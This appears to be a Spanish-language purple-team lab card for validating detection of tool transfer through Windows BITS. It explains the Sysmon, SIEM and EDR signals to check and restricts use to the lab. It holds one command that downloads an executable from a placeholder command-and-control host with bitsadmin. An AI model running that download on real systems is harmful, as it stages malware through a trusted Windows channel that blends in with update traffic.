bitsadmin transfer

bitsadmin /transfer job http://<c2>/f.exe C:\Temp\f.exe

Descarga un fichero con bitsadmin en el host de pruebas, validando la detección de la transferencia de herramientas por BITS.

Ejecútalo en el laboratorio de purple team cuando quieras validar la detección de la transferencia por BITS: bitsadmin /transfer descarga el payload con el servicio legítimo de Windows (BITS, usado por Windows Update) y el equipo verifica qué detectó — Sysmon Event 1 (bitsadmin), las reglas del SIEM (BITS descargando), el EDR. Es la validación de la transferencia por el canal legítimo: el tráfico de BITS se confunde con las actualizaciones. En el purple teaming, bitsadmin valida la capa de detección de la transferencia por BITS.

No lo ejecutes fuera del laboratorio: la descarga genera el tráfico real — el host de pruebas es el sitio. Y ojo: bitsadmin es legítimo y BITS se usa para las actualizaciones — la detección se basa en el contexto (bitsadmin desde línea de comandos con un destino no habitual, el proceso padre, el volumen); la validación mide esas capas. La variante de PowerShell (Start-BitsTransfer) se valida aparte. La limpieza del fichero descargado al terminar.